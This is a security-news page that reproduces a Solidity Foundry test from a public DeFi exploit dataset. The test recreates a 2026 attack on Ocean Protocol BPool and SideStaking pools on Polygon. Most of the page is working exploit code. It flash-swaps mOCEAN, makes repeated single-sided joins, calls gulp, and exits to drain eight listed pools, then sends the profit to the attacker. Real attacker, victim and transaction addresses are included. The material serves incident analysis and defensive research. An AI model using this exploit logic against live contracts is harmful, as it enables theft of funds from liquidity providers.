Skip to content
THREATWIRE

Public reproduction file

src/test/2026-06/OceanBPoolSideStaking_exp.sol

Public reproduction file for dataset entry OceanBPoolSideStaking.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-06/OceanBPoolSideStaking_exp.sol158 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~127.86K mOCEAN
8// Attacker : 0x3fa8cf7fea68c8e76a9838d77889464ddfb6a6cf
9// Attack Contract : 0xdd4bfd70117b5b6b343fc8d2c8c0075d095dbee5
10// Vulnerable Contract : 0xbb3051df2d3e408dae6e6daa2296bc6215f0dcfd
11// Victim : 0xe7832A036da14dC3BBcEc5F73a8193221E9F0DA5, 0x2dd64bA8d9b9B1bB402Aa70214E1Fb1D7AF314a1, 0x25faf893edCef3b1C94029f01a088448669fcB9a, 0x1f5927CB77EA8449F0281ed14847A70d7A4f7053, 0x56A5cf2fB3f5b12e6c4bC4C0f100800D3735E522, 0x569C692125CF32bAF19E4ce713F9cf43e4c18c2C, 0x95f57249e6DD394318025068a8BFC841ac6eC0DD, 0x193F1cE9108644cD4d09C769d8DCD100F2B901D6
12// Attack Tx : https://polygonscan.com/tx/0x6dc8a7fba1303faef3ec7afa770b90b17ec5ecd73b51229277a9b0492e285796
14// @Info
15// Vulnerable BPool Code : https://polygonscan.com/address/0xbb3051df2d3e408dae6e6daa2296bc6215f0dcfd#code
16// SideStaking Code : https://polygonscan.com/address/0x3efdd8f728c8e774ab81d14d0b2f07a8238960f4#code
17// mOCEAN Proxy : https://polygonscan.com/address/0x282d8efce846a88b159800bd4130ad77443fa1a1#code
19// @Analysis
20// Twitter Guy : https://x.com/defimonalerts/status/2070362661540286735
21//
22// The attacker flash-swapped mOCEAN, repeatedly performed max single-sided mOCEAN joins into Ocean BPool
23// pools, and then exited BPT back to mOCEAN. BPool's join and exit math is asymmetric, and SideStaking
24// automatically mirrored each single-sided join/exit with datatoken staking/unstaking, letting the attacker
25// redeem more mOCEAN than was deposited.
27address constant ATTACKER = 0x3Fa8cF7FeA68C8E76A9838d77889464DdFb6a6cf;
28address constant ATTACK_CONTRACT = 0xDd4BFD70117b5B6B343fC8D2c8C0075d095dBEE5;
29address constant BPOOL_IMPLEMENTATION = 0xBB3051dF2D3E408DAE6E6dAa2296BC6215F0dCFd;
30address constant SIDE_STAKING = 0x3EFDD8f728c8e774aB81D14d0B2F07a8238960f4;
31address constant MOCEAN = 0x282d8efCe846A88B159800bd4130ad77443Fa1A1;
32address constant FLASH_PAIR = 0xEC554b30Ca0656Ea2404e85528C1d5F885e9E296;
34interface IOceanBPool is IERC20 {
35 function getBaseTokenAddress() external view returns (address);
36 function getBalance(
37 address token
38 ) external view returns (uint256);
39 function joinswapExternAmountIn(uint256 tokenAmountIn, uint256 minPoolAmountOut)
40 external
41 returns (uint256 poolAmountOut);
42 function exitswapPoolAmountIn(uint256 poolAmountIn, uint256 minAmountOut)
43 external
44 returns (uint256 tokenAmountOut);
45 function gulp(
46 address token
47 ) external;
50contract ContractTest is BaseTestWithBalanceLog {
51 uint256 private constant FORK_BLOCK = 89_107_756;
52 uint256 private constant MIN_MOCEAN_PROFIT = 120_000 ether;
53 uint256 private constant FLASH_BORROW_BPS = 9_900;
54 uint256 private constant BPS_DENOMINATOR = 10_000;
55 uint256 private constant UNISWAP_FEE_NUMERATOR = 1_000;
56 uint256 private constant UNISWAP_FEE_DENOMINATOR = 997;
57 uint256 private constant MAX_DRAIN_STEPS = 16;
59 IERC20 private constant mocean = IERC20(MOCEAN);
60 IUniswapV2Pair private constant flashPair = IUniswapV2Pair(FLASH_PAIR);
62 address[8] private pools = [
63 0xe7832A036da14dC3BBcEc5F73a8193221E9F0DA5,
64 0x2dd64bA8d9b9B1bB402Aa70214E1Fb1D7AF314a1,
65 0x25faf893edCef3b1C94029f01a088448669fcB9a,
66 0x1f5927CB77EA8449F0281ed14847A70d7A4f7053,
67 0x56A5cf2fB3f5b12e6c4bC4C0f100800D3735E522,
68 0x569C692125CF32bAF19E4ce713F9cf43e4c18c2C,
69 0x95f57249e6DD394318025068a8BFC841ac6eC0DD,
70 0x193F1cE9108644cD4d09C769d8DCD100F2B901D6
71 ];
73 function setUp() public {
74 vm.createSelectFork("polygon", FORK_BLOCK);
75 fundingToken = MOCEAN;
76 attacker = ATTACKER;
78 vm.label(ATTACKER, "Attacker");
79 vm.label(ATTACK_CONTRACT, "Historical attack helper");
80 vm.label(BPOOL_IMPLEMENTATION, "Ocean BPool implementation");
81 vm.label(SIDE_STAKING, "Ocean SideStaking");
82 vm.label(MOCEAN, "mOCEAN");
83 vm.label(FLASH_PAIR, "mOCEAN flash pair");
84 for (uint256 i; i < pools.length; ++i) {
85 vm.label(pools[i], "Ocean vulnerable BPool");
86 }
87 }
89 function testExploit() public balanceLog {
90 uint256 attackerMOceanBefore = mocean.balanceOf(ATTACKER);
92 // step 1: borrow nearly all mOCEAN from the same UniswapV2 pair used in the trace.
93 uint256 borrowAmount = moceanPairReserve() * FLASH_BORROW_BPS / BPS_DENOMINATOR;
94 require(borrowAmount > 0, "empty flash reserve");
95 if (flashPair.token0() == MOCEAN) {
96 flashPair.swap(borrowAmount, 0, address(this), bytes("mOCEAN flash swap"));
97 } else {
98 require(flashPair.token1() == MOCEAN, "unexpected pair");
99 flashPair.swap(0, borrowAmount, address(this), bytes("mOCEAN flash swap"));
100 }
102 uint256 attackerMOceanProfit = mocean.balanceOf(ATTACKER) - attackerMOceanBefore;
103 assertGt(attackerMOceanProfit, MIN_MOCEAN_PROFIT, "mOCEAN profit");
104 }
106 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata) external {
107 require(msg.sender == FLASH_PAIR, "only flash pair");
108 require(sender == address(this), "unexpected sender");
109 uint256 borrowed = amount0 > 0 ? amount0 : amount1;
111 // step 2: for each vulnerable pool, deposit mOCEAN, gulp the stale token reserve, then exit BPT.
112 for (uint256 i; i < pools.length; ++i) {
113 drainPool(IOceanBPool(pools[i]));
114 }
116 // step 3: repay the same-token UniswapV2 flash swap and forward the remaining mOCEAN profit.
117 uint256 repayment = borrowed * UNISWAP_FEE_NUMERATOR / UNISWAP_FEE_DENOMINATOR + 1;
118 mocean.transfer(FLASH_PAIR, repayment);
119 mocean.transfer(ATTACKER, mocean.balanceOf(address(this)));
120 }
122 function drainPool(
123 IOceanBPool pool
124 ) private {
125 require(pool.getBaseTokenAddress() == MOCEAN, "unexpected base token");
126 mocean.approve(address(pool), type(uint256).max);
128 uint256 joinSteps;
129 while (mocean.balanceOf(address(this)) > 0 && joinSteps < MAX_DRAIN_STEPS) {
130 uint256 maxIn = pool.getBalance(MOCEAN) / 2;
131 if (maxIn > 0) --maxIn;
132 uint256 amountIn = mocean.balanceOf(address(this));
133 if (amountIn > maxIn) amountIn = maxIn;
134 if (amountIn == 0) break;
136 pool.joinswapExternAmountIn(amountIn, 0);
137 ++joinSteps;
138 }
140 pool.gulp(MOCEAN);
142 uint256 exitSteps;
143 while (pool.balanceOf(address(this)) > 0 && exitSteps < MAX_DRAIN_STEPS) {
144 uint256 maxPoolAmountIn = pool.totalSupply() / 4;
145 uint256 poolAmountIn = pool.balanceOf(address(this));
146 if (poolAmountIn > maxPoolAmountIn) poolAmountIn = maxPoolAmountIn;
147 if (poolAmountIn == 0) break;
149 pool.exitswapPoolAmountIn(poolAmountIn, 0);
150 ++exitSteps;
151 }
152 }
154 function moceanPairReserve() private view returns (uint256 reserve) {
155 (uint112 reserve0, uint112 reserve1,) = flashPair.getReserves();
156 reserve = flashPair.token0() == MOCEAN ? uint256(reserve0) : uint256(reserve1);
157 }

Analysis

Dataset entry

Public Foundry test for “OceanBPoolSideStaking” (2026-06-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x3fa8cf7fea68c8e76a9838d77889464ddfb6a6cf

  • Attack Contract

    0xdd4bfd70117b5b6b343fc8d2c8c0075d095dbee5

  • Vulnerable Contract

    0xbb3051df2d3e408dae6e6daa2296bc6215f0dcfd

  • Victim

    0x2dd64ba8d9b9b1bb402aa70214e1fb1d7af314a1

  • Attack Tx

    0x6dc8a7fba1303faef3ec7afa770b90b17ec5ecd73b51229277a9b0492e285796

File record

Name
OceanBPoolSideStaking
Path
src/test/2026-06/OceanBPoolSideStaking_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1116365da0be97f741abef51af73375f1c45c01a
Language
Solidity
Size
159 lines
Date
2026-06-25
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-06/OceanBPoolSideStaking_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1116365da0be97f741abef51af73375f1c45c01a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.